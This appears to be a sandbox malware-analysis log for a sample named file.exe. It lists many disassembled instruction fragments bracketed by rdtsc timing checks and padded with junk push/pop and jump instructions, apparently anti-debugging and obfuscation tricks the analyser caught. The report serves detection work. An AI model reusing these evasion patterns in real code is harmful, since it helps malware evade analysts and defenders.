Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B081E second address: 2B084A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC7Ah 0x00000009 popad 0x0000000a pushad 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007FD28914AC7Dh 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edx 0x00000016 push ecx 0x00000017 je 00007FD28914AC76h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B084A second address: 2B0867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FD2886DB1B4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B09C4 second address: 2B09DD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD28914AC83h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B09DD second address: 2B09E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0C87 second address: 2B0C8B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0C8B second address: 2B0C91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B0C91 second address: 2B0C9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 24C5EE second address: 24C5F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B79DF second address: 2B79E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B79E3 second address: 2B79EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B79EB second address: 2B7A21 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b jne 00007FD28914AC76h 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 jmp 00007FD28914AC80h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7A21 second address: 2B7A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B7A25 second address: 2B7A29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C9D8 second address: 28C9F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d jg 00007FD2886DB1A6h 0x00000013 pop ecx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C9F1 second address: 28C9F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28C9F6 second address: 28CA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD2886DB1A6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e push ecx 0x0000000f xor edx, dword ptr [ebp+122D39F6h] 0x00000015 pop edi 0x00000016 jne 00007FD2886DB1ACh 0x0000001c lea eax, dword ptr [ebp+1248174Dh] 0x00000022 add dword ptr [ebp+122D1DDEh], edx 0x00000028 nop 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CA2A second address: 28CA31 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CA31 second address: 28CA3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FD2886DB1A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CA3B second address: 28CA3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CA3F second address: 26B1B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007FD2886DB1ADh 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007FD2886DB1A8h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 00000015h 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 call dword ptr [ebp+122D2236h] 0x0000002f jo 00007FD2886DB1CAh 0x00000035 push eax 0x00000036 push edx 0x00000037 jbe 00007FD2886DB1A6h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28CB81 second address: 28CB85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28D256 second address: 28D28E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FD2886DB1AEh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, esi 0x0000000e pushad 0x0000000f mov esi, dword ptr [ebp+122D3972h] 0x00000015 mov ebx, edx 0x00000017 popad 0x00000018 nop 0x00000019 jmp 00007FD2886DB1ADh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28D599 second address: 28D59F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28DA93 second address: 28DAA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2886DB1ABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28DC4A second address: 28DC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28DC4E second address: 28DC87 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD2886DB1A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edx 0x0000000b jmp 00007FD2886DB1B1h 0x00000010 pop edx 0x00000011 popad 0x00000012 push eax 0x00000013 jno 00007FD2886DB1B0h 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d push eax 0x0000001e push edx 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 pop edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 28DDDF second address: 28DDE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B6D5B second address: 2B6D65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72AD second address: 2B72C6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jp 00007FD28914AC76h 0x00000011 jg 00007FD28914AC76h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72C6 second address: 2B72CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72CB second address: 2B72D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72D1 second address: 2B72D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72D5 second address: 2B72DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2B72DB second address: 2B72E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BBC18 second address: 2BBC1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BBC1C second address: 2BBC35 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FD2886DB1A6h 0x00000008 js 00007FD2886DB1A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jo 00007FD2886DB1A6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BBFFE second address: 2BC003 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2BB7DE second address: 2BB81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FD2886DB1ABh 0x0000000b popad 0x0000000c jmp 00007FD2886DB1B1h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FD2886DB1B8h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C1FFE second address: 2C2004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C2004 second address: 2C2008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0C11 second address: 2C0C15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0C15 second address: 2C0C24 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FD2886DB1A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0D65 second address: 2C0D78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jo 00007FD28914AC7Eh 0x0000000b jng 00007FD28914AC76h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0D78 second address: 2C0DC4 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD2886DB1ABh 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b pop edx 0x0000000c pop eax 0x0000000d pushad 0x0000000e jmp 00007FD2886DB1B8h 0x00000013 push edx 0x00000014 jnl 00007FD2886DB1A6h 0x0000001a pop edx 0x0000001b push edi 0x0000001c jmp 00007FD2886DB1B0h 0x00000021 push ecx 0x00000022 pop ecx 0x00000023 pop edi 0x00000024 push eax 0x00000025 push edx 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0DC4 second address: 2C0DCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0DCA second address: 2C0DCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C0DCE second address: 2C0DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C1369 second address: 2C1379 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 je 00007FD2886DB1A6h 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C19C7 second address: 2C19E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007FD28914AC76h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD28914AC7Fh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C9DCD second address: 2C9DD3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C9DD3 second address: 2C9DD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C9DD9 second address: 2C9E04 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jmp 00007FD2886DB1B0h 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FD2886DB1AFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C9632 second address: 2C964A instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD28914AC76h 0x00000008 jno 00007FD28914AC76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jo 00007FD28914AC76h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C964A second address: 2C9660 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2886DB1B0h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C97B6 second address: 2C97D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD28914AC89h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2C97D5 second address: 2C97D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CBE7D second address: 2CBE83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CBE83 second address: 2CBEA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jp 00007FD2886DB1AEh 0x0000000b jne 00007FD2886DB1ACh 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CBEA5 second address: 2CBEAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CBFE1 second address: 2CBFFE instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD2886DB1A6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD2886DB1B1h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0A64 second address: 2D0A77 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FD28914AC76h 0x00000008 push eax 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop esi 0x0000000d pushad 0x0000000e pushad 0x0000000f push edx 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0A77 second address: 2D0A84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007FD2886DB1ACh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D01AA second address: 2D01B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D02EA second address: 2D0306 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD2886DB1A6h 0x00000008 je 00007FD2886DB1A6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FD2886DB1ACh 0x00000016 jns 00007FD2886DB1A6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D0306 second address: 2D030B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D030B second address: 2D032E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD2886DB1B8h 0x00000009 push esi 0x0000000a pop esi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5F58 second address: 2D5F62 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5F62 second address: 2D5F6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD2886DB1A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5F6C second address: 2D5F82 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC82h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D48AE second address: 2D48B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D48B2 second address: 2D48C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD28914AC7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D48C4 second address: 2D48F9 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FD2886DB1ABh 0x00000008 jne 00007FD2886DB1A6h 0x0000000e pop ecx 0x0000000f pushad 0x00000010 jmp 00007FD2886DB1B5h 0x00000015 jc 00007FD2886DB1A6h 0x0000001b pushad 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D48F9 second address: 2D4917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FD28914AC82h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D4917 second address: 2D491B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D491B second address: 2D492E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FD28914AC76h 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f push esi 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D4EB1 second address: 2D4EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D4EB5 second address: 2D4EE2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FD28914AC76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jns 00007FD28914AC8Dh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D4EE2 second address: 2D4EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5024 second address: 2D5042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FD28914AC85h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5042 second address: 2D5048 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5048 second address: 2D504C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D504C second address: 2D5052 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D5176 second address: 2D517A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2D517A second address: 2D519C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD2886DB1B4h 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FD2886DB1A6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DB0C6 second address: 2DB0CE instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DB0CE second address: 2DB0D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DB0D4 second address: 2DB0D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DB0D8 second address: 2DB101 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FD2886DB1B8h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e jne 00007FD2886DB1A6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA3B6 second address: 2DA3C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FD28914AC76h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA67D second address: 2DA688 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007FD2886DB1A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DAC8B second address: 2DAC8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DAC8F second address: 2DACEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FD2886DB1A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FD2886DB1B6h 0x00000011 jnl 00007FD2886DB1C7h 0x00000017 jmp 00007FD2886DB1AEh 0x0000001c popad 0x0000001d pushad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DACEB second address: 2DACFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD28914AC7Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DACFE second address: 2DAD0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
